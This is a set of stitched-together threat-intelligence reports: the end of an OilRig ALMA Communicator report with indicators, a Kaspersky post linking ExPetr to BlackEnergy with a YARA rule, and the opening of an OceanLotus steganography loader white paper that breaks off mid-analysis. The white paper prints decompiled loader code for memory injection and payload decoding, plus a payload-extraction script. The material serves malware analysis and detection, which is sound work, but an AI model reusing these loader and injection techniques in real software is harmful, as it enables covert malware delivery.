Lastly, it appears that OilRig still prefers using DNS tunneling for its C2 channel of choice, as ALMA Communicator, Helminth and ISMAgent all use this technique for C2 communications.
Palo Alto Networks customers are protected by the following: WildFire identifies ClaySlide delivery documents and ALMA Communicator samples as malicious Traps blocks the ALMA Communicator Trojan via Local Analysis and blocks the Clayslide delivery document based on Suspicious macro detected AutoFocus customers can track these tools using the following tags: Clayslide ALMACommunicator Mimikatz Indicators of Compromise f37b1bbf5a07759f10e0298b861b354cee13f325bc76fbddfaacd1ea7505e111 (Clayslide) 2fc7810a316863a5a5076bf3078ac6fad246bc8773a5fb835e0993609e5bb62e (ALMA Communicator) 6/7 https://autofocus.paloaltonetworks.com//tag/Unit42.Clayslide https://autofocus.paloaltonetworks.com//tag/Unit42.ALMACommunicator https://autofocus.paloaltonetworks.com//tag/Unit42.Mimikatz 2d6f06d8ee0da16d2335f26eb18cd1f620c4db3e880efa6a5999eff53b12415c (Mimikatz) prosalar[.
]com 7/7 OilRig Deploys ALMA Communicator  DNS Tunneling Trojan
A gut feeling of old acquaintances, new tools, and a common battleground securelist.com /from-blackenergy-to-expetr/78937/ By GReAT Much has been written about the recent ExPetr/NotPetya/Nyetya/Petya outbreak  you can read our findings here:Schroedingers Pet(ya) and ExPetr is a wiper, not ransomware.
As in the case of Wannacry, attribution is very difficult and finding links with previously known malware is challenging.
In the case of Wannacry, Googles Neel Mehta was able to identify a code fragment which became the most important clue in the story, and was later confirmed by further evidence, showing Wannacry as a pet project of the Lazarus group.
To date, nobody has been able to find any significant code sharing between ExPetr/Petya and older malware.
Given our love for unsolved mysteries, we jumped right on it.
Analyzing the Similarities At the beginning of the ExPetr outbreak, one of our team members pointed to the fact that the specific list of extensions used by ExPetr is very similar to the one used by BlackEnergys KillDisk  ransomware from 2015 and 2016 (Anton Cherepanov from ESET made the same observation on Twitter).
The BlackEnergy APT is a sophisticated threat actor that is known to have used at least one zero day, coupled with destructive tools, and code geared towards attacking ICS systems.
They are widely confirmed as the entity behind the Ukraine power grid attack from 2015 as well as a chain of other destructive attacks that plagued that country over the past years.
If you are interested in reading more about the BlackEnergy APT, be sure to check our previous blogs on the topic: Going back to the hunt for similarities, heres how the targeted extensions lists looks in ExPetr and a version of a wiper used by the BE APT group in 2015: ExPetr 2015 BlackEnergy wiper sample 3ds, .7z, .accdb, .ai, .asp, .aspx, .avhd, .back, .bak, .c, .cfg, .conf, .cpp, .cs, .ctl, .dbf, .disk, .djvu, .doc, .docx, .dwg, .eml, .fdb, .gz, .h, .hdd, .kdbx, .mail, .mdb, .msg, .nrg, .ora, .ost, .ova, .ovf, .pdf, .php, .pmf, .ppt, .pptx, .pst, .pvi, .py, .pyc, .rar, .rtf, .sln, .sql, .tar, .vbox, .vbs, .vcb, .vdi, .vfd, .vmc, .vmdk, .vmsd, .vmx, .vsdx, .vsv, .work, .xls .3ds, .7z, .accdb, .accdc, .ai, .asp, .aspx, .avhd, .back, .bak, .bin, .bkf, .cer, .cfg, .conf, .crl, .crt, .csr, .csv, .dat, .db3, .db4, .dbc, .dbf, .dbx, .djvu, .doc, .docx, .dr, .dwg, .dxf, .edb, .eml, .fdb, .gdb, .git, .gz, .hdd, .ib, .ibz, .io, .jar, .jpeg, .jpg, .jrs, .js, .kdbx, .key, .mail, .max, .mdb, .mdbx, .mdf, .mkv, .mlk, .mp3, .msi, .my, .myd, .nsn, .oda, .ost, .ovf, .p7b, .p7c, .p7r, .pd, .pdf, .pem, .pfx, .php, .pio, .piz, .png, .ppt, .pptx, .ps, .ps1, .pst, .pvi, .pvk, .py, .pyc, .rar, .rb, .rtf, .sdb, .sdf, .sh, .sl3, .spc, .sql, .sqlite, .sqlite3, .tar, .tiff, .vbk, .vbm, .vbox, .vcb, .vdi, .vfd, .vhd, .vhdx, .vmc, .vmdk, .vmem, .vmfx, .vmsd, .vmx, .vmxf, .vsd, .vsdx, .vsv, .wav, .wdb, .xls, .xlsx, .xvd, .zip Obviously, the lists are similar in composition and formatting, but not identical.
Moreover, older versions of the BE destructive module have even longer lists.
Heres a snippet of an extensions list from a 2015 BE sample that is even longer: 1/5 https://securelist.com/from-blackenergy-to-expetr/78937/ https://securelist.com/schroedingers-petya/78870/ https://securelist.com/expetrpetyanotpetya-is-a-wiper-not-ransomware/78902/ https://securelist.com/wannacry-and-lazarus-group-the-missing-link/78431/ https://twitter.com/cherepanov74/status/879789032401719296 https://securelist.com/blackenergy-apt-attacks-in-ukraine-employ-spearphishing-with-word-documents/73440/ https://cdn.securelist.com/files/2017/06/FromBlackEnergytoExPetr_01.png https://cdn.securelist.com/files/2017/06/FromBlackEnergytoExPetr_02.png Nevertheless, the lists were similar in the sense of being stored in the same dot-separated formats.
Although this indicated a possible link, we wondered if we could find more similarities, especially in the code of older variants of BlackEnergy and ExPetr.
We continued to chase that hunch during the frenetic early analysis phase and shared this gut feeling of a similarity between ExPetr and BlackEnergy with our friends at Palo Alto Networks.
Together, we tried to build a list of features that we could use to make a YARA rule to detect both ExPetr and BlackEnergy wipers.
During the analysis, we focused on the similar extensions list and the code responsible for parsing the file system for encryption or wiping.
Heres the code responsible for checking the extensions to target in the current version of ExPetr: This works by going through the target file system in a recursive way, then checking if the extension for each file is included in the dot-separated list.
Unfortunately for our theory, the way this is implemented in older BlackEnergy variants is quite different the code is more generic and the list of extensions to target is initialized at the beginning, and passed down to the recursive disk listing function.
Instead, we took the results of automated code comparisons and paired them down to a signature that perfectly fit 2/5 the mould of both in the hope of unearthing similarities.
What we came up with is a combination of generic code and interesting strings that we put together into a cohesive rule to single out both BlackEnergy KillDisk components and ExPetr samples.
The main example of this generic code is the inlined wcscmp function merged by the compilers optimization, meant to check if the filename is the current folder, which is named ..  Of course, this code is pretty generic and can appear in other programs that recursively list files.
Its inclusion alongside a similar extension list makes it of particular interest to us but remains a low confidence indicator.
Looking further, we identified some other candidate strings which, although not unique, when combined together allow us to fingerprint the binaries from our case in a more precise way.
These include: exe /r /f ComSpec InitiateSystemShutdown When put together with the wcscmp inlined code that checks on the filename, we get the following YARA rule: C 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 rule blackenergy_and_petya_similarities strings: //shutdown.exe /r /f bytes00   73 00 68 00 75 00 74 00 64 00 6f 00 77 00 6e 00 2e 00 65 00 78 00 65 00 //ComSpec bytes01   43 00 6f 00 6d 00 53 00 70 00 65 00 63 00 //InitiateSystemShutdown bytes02   49 6e 69 74 69 61 74 65 53 79 73 74 65 6d 53 68 75 74 64 6f 77 6e 45 78 57 //68A4430110                     push         0100143A4 ntdll.dll //FF151CD10010                   call         GetModuleHandleA //3BC7                           cmp          eax,edi //7420                           jz bytes03   68 ??
??
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1 ?
0 ff 15 ??
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0 3b c7 74 ??
//
/c bytes04   2f 00 63 00 3/5 22 23 24 25 26 27 28 29 30 31 32 33 34 //wcscmp( hex_string   b9 ??
??
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1 ?
0 8d 44 24 ?
c 66 8b 10 66 3b 11 75 1e 66 85 d2 74 15 66 8b 50 02 66 3b 51 02 75 0f 83 c0 04 83 c1 04 66 85 d2 75 de 33 c0 eb 05 1b c0 83 d8 ff 85 c0 0f 84 ?
?
0?
00 00 b9 ??
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1 ?
0 8d 44 24 ?
c 66 8b 10 66 3b 11 75 1e 66 85 d2 74 15 66 8b 50 02 66 3b 51 02 75 0f 83 c0 04 83 c1 04 66 85 d2 75 de 33 c0 eb 05 1b c0 83 d8 ff 85 c0 0f 84 ?
?
0?
00 00 condition: ((uint16(0)  0x5A4D)) and (filesize  5000000) and (all of them)  When run on our extensive (read: very big) malware collection, the YARA rule above fires on BlackEnergy and ExPetr samples only.
Unsurprisingly, when used alone, each string can generate false positives or catch other unrelated malware.
However, when combined together in this fashion, they become very precise .
The technique of grouping generic or popular strings together into unique combinations is one of the most effective methods for writing powerful Yara rules.
Of course, this should not be considered a sign of a  definitive link, but it does point to certain code design similarities between these malware families.
This low confidence but persistent hunch is what motivates us to ask other researchers around the world to join us in investigating these similarities and attempt to discover more facts about the origin of ExPetr/Petya.
Looking back at other high profile cases, such as the Bangladesh Bank Heist or Wannacry, there were few facts linking them to the Lazarus group.
In time, more evidence appeared and allowed us, and others, to link them together with high confidence.
Further research can be crucial to connecting the dots, or, disproving these theories.
Wed like to think of this ongoing research as an opportunity for an open invitation to the larger security community to help nail down (or disprove) the link between BlackEnergy and ExPetr/Petya.
Our colleagues at ESET have published their own excellent analysis suggesting a possible link between ExPetr/Petya and TeleBots (BlackEnergy).
Be sure to check out their analysis.
And as mentioned before, a special thanks to our friends at Palo Alto for their contributions on clustering BlackEnergy samples.
Hashes ExPetr: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745 BE: 11b7b8a7965b52ebb213b023b6772dd2c76c66893fc96a18a9a33c8cf125af80 4/5 https://baesystemsai.blogspot.ro/2016/05/cyber-heist-attribution.html https://www.welivesecurity.com/2017/06/30/telebots-back-supply-chain-attacks-against-ukraine/ 5d2b1abc7c35de73375dd54a4ec5f0b060ca80a1831dac46ad411b4fe4eac4c6 F52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95 368d5c536832b843c6de2513baf7b11bcafea1647c65df7b6f2648840fa50f75 A6a167e214acd34b4084237ba7f6476d2e999849281aa5b1b3f92138c7d91c7a Edbc90c217eebabb7a9b618163716f430098202e904ddc16ce9db994c6509310 F9f3374d89baf1878854f1700c8d5a2e5cf40de36071d97c6b9ff6b55d837fca 5/5 A gut feeling of old acquaintances, new tools, and a common battleground Analyzing the Similarities Hashes
OceanLotus Steganography Malware Analysis White Paper Contents Introduction ............................................................................................. 3 Steganography Loader 1 ................................................................. 3 Overview ................................................................................................... 3 Features .................................................................................................... 3 Loader Analysis ...................................................................................... 4 Steganography Loader 2 ...............................................................17 Overview ................................................................................................ 17 Features ................................................................................................. 17 Loader Analysis ................................................................................... 18 Backdoor Launcher............................................................................ 23 Initial Shellcode ................................................................................... 23 Launcher DLL ....................................................................................... 28 Configuration ....................................................................................... 33 Backdoor DLL ....................................................................................... 33 C2 Communication Module ............................................................ 34 Appendix ................................................................................................ 35 Indicators of Compromise (IOCs) ................................................. 35 Hunting ................................................................................................... 36 VirusTotal ......................................................................................... 36 YARA .................................................................................................. 36 2OceanLotus Steganography : Malware Analysis White Paper Introduction While continuing to monitor activity of the OceanLotus APT Group, BlackBerry Cylance researchers uncovered a novel payload loader that utilizes steganography to read an encrypted payload concealed within a .png image file.
The steganography algorithm appears to be bespoke and utilizes a least significant bit approach to minimize visual differences when compared with the original image to prevent analysis by discovery tools.
Once decoded, decrypted, and executed, an obfuscated loader will load one of the APT32 backdoors.
Thus far, BlackBerry Cylance has observed two backdoors being used in combination with the steganography loader  a version of Denes backdoor (bearing similarities to the one described by ESET), and an updated version of Remy backdoor.
However, this can be easily modified by the threat actor to deliver other malicious payloads.
The complexity of the shellcode and loaders shows the group continues to invest heavily in development of bespoke tooling.
This white paper describes the steganography algorithm used in two distinct loader variants and looks at the launcher of the backdoor that was encoded in one of the .png cover images.
Steganography Loader 1 SHA256 ae1b6f50b166024f960ac792697cd688be9288601f423c15abbc755c66b6daa4 Classification Malware/Backdoor Size 659 KB (674,816 bytes) Type PE32 executable for MS Windows (DLL) (console) Intel 80386 32-bit File Name mcvsocfg.dll Observed September 2018 Overview This particular OceanLotus malware loader attempts to imitate McAfees McVsoCfg DLL and expects to be side-loaded by the legitimate On Demand Scanner executable.
It arrives together with an encrypted payload stored in a separate .png image file.
The .png cover file is actually a valid image file that is not malicious on its own.
The payload is encoded inside this image with the use of a technique called steganography, which utilizes the least significant bits of each pixels color code to store hidden information, without making overtly visible changes to the picture itself.
The encoded payload is additionally encrypted with AES128 and further obfuscated with XOR in an attempt to fool steganography detection tools.
Features Side-loaded DLL Loads next-stage payload using custom .png steganography Uses AES128 implementation from Crypto library for payload decryption Known to load Denes backdoor, might possibly be used also with other payloads 3OceanLotus Steganography : Malware Analysis White Paper Loader Analysis The malicious DLL exports the same function names as the original mcvsocfg.dll library.
All exports contain the exact same code which will decrypt the payload, inject it into memory, and execute it: int ValidateDrop()  HANDLE v0 // ebx void v1 // edi void v2 // esi DWORD dwSize // [espCh] [ebp-4h] read_system_ini() v0  GetCurrentProcess() v1  (void )decode_payload(dwSize) v2  VirtualAllocEx(v0, 0, dwSize, 0x1000u, 0x40u) WriteProcessMemory(v0, v2, v1, dwSize, 0) free(v1) return ((int ()(void))v2)()  Figure 1.
Common export entrypoint The payload is encoded inside a separate .png file using a technique called steganography.
On top of that, the decoded payload is also encrypted with AES-128 and finally obfuscated with XOR 0x3B.
Its worth noting that the XOR key is not hardcoded, but instead is read from the first byte of the C:\Windows\system.ini file: 4OceanLotus Steganography : Malware Analysis White Paper int __cdecl decode_payload(unsigned int return_size)  char xor_key // bl int result // eax void decoded_payload // edi _BYTE decr_payload // esi unsigned int v5 // ecx void v6 // [esp-18h] [ebp-23Ch] int v7 // [esp-14h] [ebp-238h] int v8 // [esp-10h] [ebp-234h] int v9 // [esp-Ch] [ebp-230h] size_t v10 // [esp-8h] [ebp-22Ch] int v11 // [esp-4h] [ebp-228h] unsigned int decrypted_size // [espCh] [ebp-218h] int key_ptr // [esp10h] [ebp-214h] int payload_size // [esp14h] [ebp-210h] int iv_ptr // [esp18h] [ebp-20Ch] __int16 payload_filename // [esp1Ch] [ebp-208h] char v17 // [esp1Eh] [ebp-206h] payload_filename  0 memset(v17, 0, 0x206u) if ( GetModuleFileNameW((HMODULE)0x10000000, (LPWSTR)payload_filename, 0x104u) ) PathRemoveFileSpecW((LPWSTR)payload_filename) PathAppendW((LPWSTR)payload_filename, Lx5j3trra.
Png) xor_key  read_system_ini() payload_size  0 result  decode_payload_from_img((LPCWSTR)payload_filename, (int)payload_size) decoded_payload  (void )result if ( result )  key_ptr  0 iv_ptr  0 get_key_and_iv(key_ptr, iv_ptr) decr_payload  cryptoPP_decrypt((int)decoded_payload, payload_size, key_ptr, iv_ptr, decrypted_size) free(decoded_payload) v5  0 if ( decrypted_size )  do decr_payload[v5]  xor_key while ( v5  decrypted_size )  memmove_stuff((int)v6, word_1007B3BE) write_pid_to_desktop_ini(v6, v7, v8, v9, v10, v11) result  (int)decr_payload return_size  decrypted_size  return result  Figure 2.
Payload decoding and decryption routine 5OceanLotus Steganography : Malware Analysis White Paper One of the payloads we encountered was encoded inside an image of Kaito Kuroba1, the gentleman thief character from a popular Japanese manga series: Figure 3.
Kaito Kid To extract the payload, the malware will first initialize the GDI API and get the image width and height values: if ( PathFileExistsW(payload_path) )  gdi_input  1 DebugEventCallback  0 SuppressBackgroundThread  0 SuppressExternalCodecs  0 GdiplusStartup(gdi_token, gdi_input, 0) gdi_struct  (gdi_struct )GdipAlloc(16) if ( gdi_struct )  gdi_struct-vtbl  (int)Gdiplus::Bitmap::vftable bitmap  0 gdi_struct-status  GdipCreateBitmapFromFile(payload_path, bitmap) gdi_struct-bitmap  (int)bitmap  else  gdi_struct  0  img_width  0 gpstatus  GdipGetImageWidth(gdi_struct-bitmap, img_width) if ( gpstatus ) gdi_struct-status  gpstatus img_height  0 gpstatus_1  GdipGetImageHeight(gdi_struct-bitmap, img_height) if ( gpstatus_1 ) gdi_struct-status  gpstatus_1 bitmap  0 x  0 prev_color  0xFF000000 Figure 4.
Use of GDI APIs 1https://en.wikipedia.org/wiki/Kaito_Kuroba.
BlackBerry Cylance owns the trademarks included in this white paper.
All other trademarks are the property of their respective owners.
6OceanLotus Steganography : Malware Analysis White Paper https://en.wikipedia.org/wiki/Kaito_Kuroba The size of the payload is encoded within the first four pixels of the image.
After obtaining the size, the malware will allocate an appropriate memory buffer and proceed to decode the remaining payload byte by byte: bitmap  0 x  0 prev_color  0xFF000000 do  gpstatus_2  GdipBitmapGetPixel(gdi_struct-bitmap, x, 0, color_1) if ( gpstatus_2 )  gdi_struct-status  gpstatus_2 argb  prev_color  else  argb  color_1 prev_color  color_1  ((_BYTE )bitmap  x)  BYTE2(argb)  7  8  (8  argb  BYTE1(argb)  7)  while ( x  4 ) size_of_bitmap  (unsigned int)bitmap v10  (size_t)bitmap (_DWORD )size  bitmap v11  malloc(v10) Figure 5.
Obtaining size of the payload 7OceanLotus Steganography : Malware Analysis White Paper The payload is encoded in the same way as the size  each byte of the payload is computed from the ARGB color codes of each subsequent pixel in the image: img_height_1  img_height index  0 bitmap  v11 y  0 color_1  0 x_1  4 if ( img_height  0 )  img_width_1  img_width do  if ( index  size_of_bitmap ) break if ( x_1  img_width_1 )  do  if ( index  size_of_bitmap ) break v17  GdipBitmapGetPixel(gdi_struct-bitmap, x_1, y, color) if ( v17 )  gdi_struct-status  v17 argb_1  prev_color  else  argb_1  color prev_color  color  x_1 img_width_1  img_width bitmap[index]  BYTE2(argb_1)  7  8  (8  argb_1  BYTE1(argb_1)  7) y  color_1  while ( x_1  img_width_1 ) img_height_1  img_height  y x_1  0 color_1  y  while ( y  img_height_1 )  Figure 6.
Steganography decoding routine 8OceanLotus Steganography : Malware Analysis White Paper In case the payload is bigger than the image used to store it, the remaining payload bytes are simply attached to the image after its IEND marker, and read directly from the file: ((void (__thiscall )(gdi_struct , signed int))gdi_struct-vtbl)(gdi_struct, 1) if ( size_of_bitmap  index )  file  _wfopen(payload_path, Lrb) _file  file if ( file )  fseek(file, 0, 2) pos  ftell(_file) fseek(_file, index - size_of_bitmap  pos, 0) fread(bitmap[index], 1u, size_of_bitmap - index, _file) fclose(_file)   Figure 7.
Reading the remaining payload bytes The pixel encoding algorithm is fairly straightforward and aims to minimize visual differences when compared to the original image by only modifying the least significant bits of the red, green, and blue color byte values.
The alpha channel byte remains unchanged.
To encode a byte of the payload, the first three bits (0-2) are stored in the red color, the next three bits (3-5) are stored in the green color, and the final two bits (6-7) are stored in the blue color.
Decoding is a simple inverse operation: Figure 8.
RGBA pixel decoding 9OceanLotus Steganography : Malware Analysis White Paper Windows converts the .png pixel RGBA value to an ARGB encoding via the GdpiBitmapGetPixel API, which results in the following decoding: .text:1000219B                 mov     edx, eax         AARRGGBB .text:1000219D                 mov     cl, al           BB .text:1000219F                 shr     edx, 8           GG .text:100021A2                 and     dl, 7            GG  GG AND 7 .text:100021A5                 shl     cl, 3            BB  BB SHL 3 .text:100021A8                 or      dl, cl           TMP  GG OR BB .text:100021AA                 shr     eax, 16          RR .text:100021AD                 shl     dl, 3            TMP  TMP SHL 3 .text:100021B0                 and     al, 7            RR AND 7 .text:100021B2                 or      dl, al           BYTE  TMP OR RR Figure 9.
Pixel color decoding For example, an ARGB pixel value of 0xFF4086DB would yield the decoded byte 0xF0: Figure 10.
ARGB pixel decoding 10OceanLotus Steganography : Malware Analysis White Paper To aid in the recovery of encrypted payloads, the following Python script can be used to decode pixel colors from a .png image.
import png def get_rgba(w, h, pixels, x, y): Get RGBA pixel DWORD from x, y pos  x  y  w pixel  pixels[pos  4 : (pos  1)  4] return pixel[0], pixel[1], pixel[2], pixel[3] def decode_pixel(w, h, pixels, x, y): Get RGBA pixel DWORD at x, y and decode to BYTE r, g, b, a  get_rgba(w, h, pixels, x, y) return (r  7  8  (8  b  g  7))  0xff Open payload image w, h, pixels, metadata  png.
Reader(filenamepayload.png).read_flat() size  0 x  0 y  0 Decode size of payload while x  4: size  (size  8)  decode_pixel(w, h, pixels, x, y)  24 x  x  1 print(hex(size)) Decode first row while x  w: print(hex(decode_pixel(w, h, pixels, x, y))) x  x  1 Figure 11.
Python script for decoding payload from a .png image After decoding the .png image, the loader then proceeds to initialize the key and IV used to perform AES decryption of the encrypted payload.
Both values are supplied from an array of 256 pseudo-random bytes hardcoded in the binarys .rdata section.
The first two bytes of that array specify the relative offsets to the key and IV respectively: .text:10002880   S U B R O U T I N E .text:10002880 .text:10002880 .text:10002880 get_key_and_iv  proc near                CODE XREF: decode_payload9Cp .text:10002880 .text:10002880 key_ptr          dword ptr  4 .text:10002880 iv_ptr           dword ptr  8 .text:10002880 .text:10002880                 mov     ax, word ptr ds:crypto_parameters  0x32A4 .text:10002886                 mov     ecx, [espkey_ptr] .text:1000288A                 movzx   edx, al          0xA4 - offset of key in 256-byte array .text:1000288D                 add     edx, offset crypto_parameters .text:10002893                 mov     [ecx], edx .text:10002895                 movzx   ecx, ah          0x32 - offset of IV in 256-byte array .text:10002898                 mov     eax, [espiv_ptr] .text:1000289C                 add     ecx, offset crypto_parameters .text:100028A2                 mov     [eax], ecx .text:100028A4                 retn .text:100028A4 get_key_and_iv  endp .text:100028A4 Figure 12.
Retrieving key and IV values 11OceanLotus Steganography : Malware Analysis White Paper .rdata:1007B588 offset_of_key   db 0A4h                  DATA XREF: get_key_and_ivr .rdata:1007B588                                          get_key_and_ivDo ... .rdata:1007B589 offset_of_iv    db 32h .rdata:1007B58A                 db 6Eh, 1Fh, 0F7h, 0E5h, 27h, 0C5h, 0EEh, 0B8h, 0C8h, 9Bh .rdata:1007B58A                 db 6Ch, 7Dh, 0D1h, 0F6h, 55h, 3Eh, 76h, 0B7h, 72h, 90h .rdata:1007B58A                 db 0Ah, 0E6h, 90h, 0DEh, 0DDh, 1Ah, 0D9h, 10h, 2, 98h .rdata:1007B58A                 db 0E1h, 0CDh, 49h, 0B5h, 0FBh, 0F6h, 1Ch, 99h, 0E1h, 0E9h .rdata:1007B58A                 db 2Ah, 0FFh, 0F0h, 5, 0C1h, 65h, 0C1h, 0EAh .rdata:1007B5BA aes_iv          db 0EDh, 47h, 0B1h, 0BEh, 4Eh, 0A9h, 34h, 87h, 8Fh, 18h .rdata:1007B5BA                 db 8, 0Dh, 0EBh, 0DDh, 0B6h, 2Fh .rdata:1007B5CA                 db 0BAh, 9Fh, 34h, 1Ch, 0FAh, 5Fh, 21h, 0DDh, 0D6h, 89h .rdata:1007B5CA                 db 66h, 0Ah, 0F6h, 8Ah, 1Ch, 77h, 58h, 0EFh, 22h, 0BBh .rdata:1007B5CA                 db 0E7h, 22h, 7Eh, 9Fh, 80h, 74h, 67h, 4, 91h, 0D4h .rdata:1007B5CA                 db 0FDh, 4Ch, 49h, 0C1h, 4Bh, 22h, 30h, 0A5h, 0EFh, 8Eh .rdata:1007B5CA                 db 25h, 0D3h, 0E7h, 0C5h, 43h, 2Ah, 91h, 4, 0FBh, 90h .rdata:1007B5CA                 db 0B4h, 0FBh, 0BBh, 0FBh, 47h, 97h, 20h, 95h, 9Bh, 86h .rdata:1007B5CA                 db 0F7h, 1Dh, 4Ch, 2, 8Bh, 19h, 0C1h, 35h, 3Fh, 0FAh .rdata:1007B5CA                 db 47h, 0B2h, 0FFh, 94h, 96h, 14h, 3Ah, 0B9h, 5Bh, 56h .rdata:1007B5CA                 db 0E2h, 62h, 8, 0, 1Fh, 1, 91h, 4Eh, 79h, 0B3h .rdata:1007B5CA                 db 2, 9Bh, 0Ah, 69h, 96h, 7, 87h, 0E5h .rdata:1007B62C aes_key         db 3Ah, 2Ah, 68h, 5Ch, 0C4h, 1, 48h, 1, 0FBh, 26h .rdata:1007B62C                 db 65h, 33h, 5Dh, 67h, 39h, 44h .rdata:1007B63C                 db 0A3h, 94h, 15h, 4Bh, 0E3h, 89h, 87h, 73h, 0BBh, 8Ch .rdata:1007B63C                 db 0F7h, 0ACh, 0A8h, 96h, 0FDh, 8Eh, 8Ch, 55h, 7Eh, 31h .rdata:1007B63C                 db 0EEh, 86h, 9Eh, 6, 0B7h, 1Dh, 5, 6Ah, 0E9h, 45h .rdata:1007B63C                 db 56h, 9Bh, 61h, 0C6h, 0C5h, 1, 0F1h, 3Bh, 2, 0B0h .rdata:1007B63C                 db 0A2h, 0F5h, 0A0h, 38h, 9, 9Ch, 59h, 65h, 29h, 0D6h .rdata:1007B63C                 db 0A6h, 7, 0E8h, 8, 56h, 1Dh, 0F6h, 0Eh, 93h, 0C5h .rdata:1007B63C                 db 84h, 1Dh, 8Ah, 76h, 35h, 5Ch, 4Ah, 0E1h, 0D1h, 0FBh .rdata:1007B63C                 db 9Dh, 51h, 52h, 0CEh, 8Fh, 0F8h Figure 13.
AES key and IV inside an array of 256 pseudo-random bytes The loader uses the AES128 implementation from the open-source Crypto2 library, which is instantiated in the following manner: CBC_ModeAES::Decryption AESDecryption  new CBC_ModeAES::Decryption((BYTE)key, 16, iv) AESDecryption-ProcessData((byte )decrypted, (byte )encrypted, length) Figure 14.
Crypto interface 2https://www.cryptopp.com/ 12OceanLotus Steganography : Malware Analysis White Paper https://www.cryptopp.com/ We were able to correlate most of the disassembly to the corresponding functions from the Crypto github source, and it doesnt appear that the malware authors have modified much of the original code.
A SimpleKeyringInterface class is used to initialize the key, while the IV is passed to the SetCipherWithIV function: .text:100028BE                 lea     ecx, [esp208hcipher_struct] .text:100028C5                 mov     [esp208hvar_1E8], 0Fh .text:100028CD                 mov     [esp208hdecrypted_size], 0 .text:100028D5                 mov     byte ptr [esp208hdecrypted_payload_buf], 0 .text:100028DA                 call    cryptlib_algorithm_constructor .text:100028DF                 push    dword_1009D664-2664h  params 0x1009B004 - 0x1007B6C8 .text:100028DF                                          get_NameValuePairs .text:100028E5                 lea     ecx, [esp20Chcipher_struct] .text:100028EC                 mov     [esp20Chcipher_struct], offset aes_vftable .text:100028F7                 push    16               key_len .text:100028F9                 push    [ebpkey_ptr]    key .text:100028FC                 mov     [esp214hdecrypt_vftable], offset aesdec_vftable .text:10002907                 call    SimpleKeyingInterface__SetKey .text:1000290C                 push    0                int feedbackSize .text:1000290E                 push    [ebpiv_ptr]     const byte iv .text:10002911                 lea     eax, [esp210hcipher_struct] .text:10002918                 push    eax              cipher .text:10002919                 lea     ecx, [esp214hcbc_struct] .text:1000291D                 call    SetCipherWithIV Figure 15.
Algorithm and key initialization The decryption is performed with the use of the StreamTransformationFilter class with the StreamTransformation cipher set to AES CBC decryption mode: .text:10002953 loc_10002953:                            CODE XREF: cryptoPP_stuff9Fj .text:10002953                 push    5                paddingScheme .text:10002955                 push    esi              StringSink(decrypted) .text:10002956                 lea     eax, [esp210hdecryptor] .text:1000295A                 push    eax              0x1007B838 CryptoPP::CBC_Decryption::vftable .text:1000295B                 lea     ecx, [esp214hStreamTransformationFilter] .text:1000295F                 call    decFilter        StreamTransformationFilter decFilter(decryptor, .text:1000295F                                          new StringSink(decrypted), .text:1000295F                                          paddingScheme) .text:10002964                 mov     eax, [esp208hStreamTransformationFilter] .text:10002968                 lea     ecx, [esp208hStreamTransformationFilter] .text:1000296C                 push    1                blocking .text:1000296E                 push    0                messageEnd .text:10002970                 push    [ebpenc_size]   length .text:10002973                 push    [ebpenc_payload]  inString .text:10002976                 call    [eaxStreamTransformationFilter.
Put2]  decrypt buffer .text:10002976                                          0x10003870 BufferedTransformation__Put2 .text:10002979                 mov     eax, [esp208hStreamTransformationFilter] .text:1000297D                 lea     ecx, [esp208hStreamTransformationFilter] .text:10002981                 push    1 .text:10002983                 push    0FFFFFFFFh .text:10002985                 push    0 .text:10002987                 push    0 .text:10002989                 call    [eaxStreamTransformationFilter.
Put2] Figure 16.
Payload decryption with the use of CryptoPP StreamTransformationFilter class 13OceanLotus Steganography : Malware Analysis White Paper The library code performs numerous checks for the CPU features, and based on the outcome, it will choose a processor-specific implementation of the cryptographic function: .text:1000B6C0 Rijndael_Dec_AdvancedProcessBlocks proc near .text:1000B6C0                                         DATA XREF: .rdata:1007BBBCo .text:1000B6C0 .text:1000B6C0 ib               dword ptr  4 .text:1000B6C0 xb               dword ptr  8 .text:1000B6C0 outBlocks        dword ptr  0Ch .text:1000B6C0 length           dword ptr  10h .text:1000B6C0 flags            dword ptr  14h .text:1000B6C0 .text:1000B6C0                 cmp     g_x86DetectionDone, 0 .text:1000B6C7                 push    esi .text:1000B6C8                 mov     esi, ecx .text:1000B6CA                 jnz     short loc_1000B6D1 .text:1000B6CC                 call    DetectX86Features .text:1000B6D1 .text:1000B6D1 loc_1000B6D1:                           CODE XREF: Rijndael_Dec_AdvancedProcessBlocksAj .text:1000B6D1                 cmp     g_hasAESNI, 0 .text:1000B6D8                 push    [esp4flags] .text:1000B6DC                 push    [esp8length] .text:1000B6E0                 push    [esp0ChoutBlocks] .text:1000B6E4                 push    [esp10hxb] .text:1000B6E8                 push    [esp14hib] .text:1000B6EC                 jz      short loc_1000B703 .text:1000B6EE                 push    [esicipher.rounds] .text:1000B6F1                 push    [esicipher.sk] .text:1000B6F7                 call    Rijndael_Dec_AdvancedProcessBlocks_AESNI .text:1000B6FC                 add     esp, 1Ch .text:1000B6FF                 pop     esi .text:1000B700                 retn    14h .text:1000B703  --------------------------------------------------------------------------- .text:1000B703 .text:1000B703 loc_1000B703:                           CODE XREF: Rijndael_Dec_AdvancedProcessBlocks2Cj https://en.wikipedia.org/wiki/Kaito_Kuroba .text:1000B703                 mov     ecx, esi .text:1000B705                 call    decrypt_no_AESNI .text:1000B70A                 pop     esi .text:1000B70B                 retn    14h .text:1000B70B Rijndael_Dec_AdvancedProcessBlocks endp Figure 17.
